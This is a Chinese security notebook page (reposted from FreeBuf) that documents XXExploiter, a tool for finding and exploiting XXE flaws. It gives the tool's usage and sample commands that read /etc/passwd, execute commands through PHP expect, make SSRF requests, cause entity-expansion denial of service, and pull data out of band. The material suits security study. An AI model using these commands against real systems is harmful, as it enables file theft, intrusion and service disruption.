🖌️
Functfan的格物致知
  • 写在前面
  • java技术
    • J2EE 全面简介
  • java安全
    • 反序列化漏洞
      • 序列化/反~
      • Ysoserial
        • Java反序列化之Vaadin1
        • Java反序列化之Groovy1
        • Java反序列化之Jdk7u21
        • Java反序列化之Commons beanUtils
        • Java反序列化之Commons-Collections
          • CommonsCollections1
          • CommonsCollections2
          • CommonsCollections1
          • CommonsCollections2
          • CommonsCollections3
          • CommonsCollections4
          • CommonsCollections5
          • CommonsCollections6
          • CommonsCollections7
      • Marshalsec
    • XXE漏洞
      • XXE爱之初印象
      • XXE漏洞写法及防御
      • XXExploiter工具
  • web安全
    • 一句话木马
  • 渗透测试
    • 网络资产收集
    • 端口服务探测
    • 边界突破
    • 内网穿透
    • 容器与K8S安全测试
  • 漏洞挖掘
    • web类框架研究报告
      • Xstream经验
      • weblogic漏洞研究经验笔记
      • WebLogic安全研究报告
    • 漏洞挖掘入门
      • 小白入门
      • 源代码审计方法
        • Java类编译与反编译基础
        • IDEA使用技巧
        • IDEA Java程序调试
      • Fuzzing技术
        • 方法论
          • fuzzing的四个技能
        • 工具集
          • tmnt-Web应用漏洞fuzzer
          • wfuzz-web app fuzzer
          • AFL-基于变异的fuzz工具
      • 物联网漏洞挖掘技术
        • 物联网设备固件模拟分析环境*(亲测下载好慢,不建议使用该教程)
        • 智能设备漏洞挖掘之固件提取
        • pwndbg调试工具使用教程
    • 漏洞情报监测
    • 漏洞安全检测工具
      • 容器安全检测脚本总结
      • WebLogic漏洞检测小工具
    • 漏洞复现
      • 操作系统
        • windows
        • Linux
          • 脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析
          • Dirty CoW脏牛内核提权漏洞(CVE-2016-5195)
      • 数据库
      • WEB服务组件
        • CVE-2020-2883
        • F5 BIG-IP远程代码执行漏洞(CVE-2020-5902)
        • Apache Solr 远程命令执行漏洞(CVE-2019-0193)
      • 云计算安全
        • CVE-2020-15257-容器逃逸-containerd
      • 物联网安全
        • TP-Link SR20 本地网络远程代码执行漏洞
  • CTF比赛
    • BUUCTF-练习场web
    • xctf-攻防世界新手练习区web
    • Exploit利器——Pwntools
  • 新技术研究
    • 区块链
    • 云原生安全
      • 虚拟化hypervisor简介
      • Docker容器基础
        • 云原生攻防研究:容器基础
          • Linux内核基础
          • Docker容器基础
          • 理解容器进程
          • 组件组成:剖析 Docker 组件作用及其底层工作原理
          • Docker镜像的内部结构(四)
          • docker之namespace,cgroup与unionFS
          • Linux内核安全模块之AppArmor
          • Linux沙箱之seccomp
          • Linux权限管理之Capabilities
        • 云原生攻防研究:Docker安全性与攻击面分析
        • 云原生攻防研究:容器逃逸技术概览
        • 云原生攻防研究:针对容器的渗透测试方法
        • 云原生攻防研究:漏洞缓解技术
      • Kubernetes容器编排基础
        • k8s基本概念
        • 云原生攻防研究:Kubernetes安全分析
        • 云原生攻防研究:Kubernetes攻击矩阵
    • 联邦安全
    • 云边协同
    • 安全多方计算
由 GitBook 提供支持
在本页
  • 工具安装
  • 构建&源码运行
  • 工具使用
  • 样本命令
  • 下面给出是该工具的四个主要命令:
  • 注意事项
  • 模板
  • 请求
  • 模糊测试器
  • 项目地址
  1. java安全
  2. XXE漏洞

XXExploiter工具

一款功能强大的XXE漏洞扫描与利用工具 - FreeBuf互联网安全新媒体平台

XXExploiter是一款功能强大的XXE漏洞扫描与利用工具,在它的帮助下,广大安全研究人员可以轻松发现和利用XXE漏洞。

XXExploiter可以生成XML Payload,并自动开启一台服务器来提供所需的DTD或实现数据提取。该工具目前仍处于开发阶段,但其中大部分的功能已经可以正常使用了。

工具安装

#install node and npm if you don't have it yet     
npm install -g xxexploiter

构建&源码运行

下面给出的是一个样本Node应用程序,采用TypeScript开发,所以我们可以轻松构建或集成至其他应用程序中。首先,我们需要安装Node和npm:

npm install      
    npm run build      
    #you may need to npm install tsc -g in order for 'npm build' to succeed

运行该工具,可以使用下列方式运行:

npm start [args]      
    node dist/index.js [args]  

或者,你也可以直接在本地系统中安装:

npm link

工具使用

Usage: xxexploiter.ts [command] [options]

    Commands:

      xxexploiter file [file_to_read]  Use XXE to read a file

      xxexploiter request [URL]        Use XXE to do a request

      xxexploiter expect [command]     Use XXE to execute a command through PHP's expect

      xxexploiter xee [expantions]     Generate a huge content by resolving entities

    Fuzzing Specific Options

      -f, --fuzz            Enables fuzz options. Use {{FUZZ}} placeholder in the command arg for the magic.

      -w, --wordlist        Path to a wordlist to be used with the fuzz command

      -y, --success-string  String to search for a success response in the requests

      -n, --error-string    String to search for an error response in the request

    Options:

      --version             Show version number                                                                                                            [boolean]

      -s, --server          Server address for OOB and DTD

      -p, --port            Server port for OOB and DTDs. Default: 7777

      -t, --template        path to an XML template where to inject payload

      -m, --mode            Extraction Mode: xml, oob, cdata. Default: xml

      -e, --encode          Extraction Encoding: none, phpbase64. Default: none

      -o, --output          Output for the XML payload file. Default is to console

      -x                    Use a request to automatically send the xml file

      -X, --request-output  Output the response from -x option. If not defined goes to stdout

      -h, --help            Show help                                                                                                                      [boolean]

样本命令

cli.ts expect ls

    cli.ts -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml

    cli.ts -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob

    cli.ts xee 900000000 -o output.xml

    cli.ts file /etc/passwd -x request.txt -t template.xml

    cli.ts file /root/{FUZZ} -f -w wordlist.txt -n "not found" -x request.txt

下面给出是该工具的四个主要命令:

file:读取本地文件;

requesst:执行SSRF攻击,从目标设备发送请求;

expect:使用PHP执行命令(如果目标是一个PHP应用的话);

XEE:执行参数扩展来尝试引起拒绝服务;

注意事项

如果你选择使用OOB或CDATA模式,那么XXExploiter将会生成所需的DTD,并使用一台服务器来托管它们。请记住,如果你使用了这些选项,你还需要设置服务器地址。

如果你使用了XML的body内容,那么请记住XML受限字符串(例如’<’)可能会破坏解析数据,所以请确保使用CDATA或PHP的Base64编码。

大多数语言都会限制实体扩展的数量或扩展内容的总长度,因此请确保在与目标相同的条件下,首先在本地计算机上测试XEE。

模板

有时我们需要发送带有特定字段的XML,以便能够利用漏洞进行攻击。为此,我们专门引入了-t(–template)选项。

你可以创建一个可以创建常规XML文件,并用它来生成恶意Payload。如果你想要添加请求内容或文件中的内容,你可以替换掉其中的{{XXE}}占位符。

请求

完成了上述操作之后,你也不需要手动向服务器发送XML文件,因为-x选项可以自动化完成这部分操作。

你可以使用从从Burp获取的请求,并在此处使用它。(注意,-x选项需要传入一个文件)。除此之外,请求中的相对路径可能无法正常工作。默认情况下,如果发生这种情况,xxexploiter会尝试从主机Header获取URL。

在希望注入XML内容的地方,可以添加占位符{{XXE}},或者如果需要用Base64编码,即使用{{XXE_B64}}。

模糊测试器

如果你找到了一台存在漏洞的服务器,并且想提取出其中的文件,但你又不知道里面有什么的话,那么你就可以使用模糊测试器并利用XXE来根据字典寻找文件了。我们只需要使用参数中的{{FUZZ}}占位符,并结合-x选项来自动化请求即可。

项目地址

上一页XXE漏洞写法及防御下一页web安全

最后更新于5年前

XXExploiter:【】

* 参考来源:,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

GitHub传送门
luisfontes19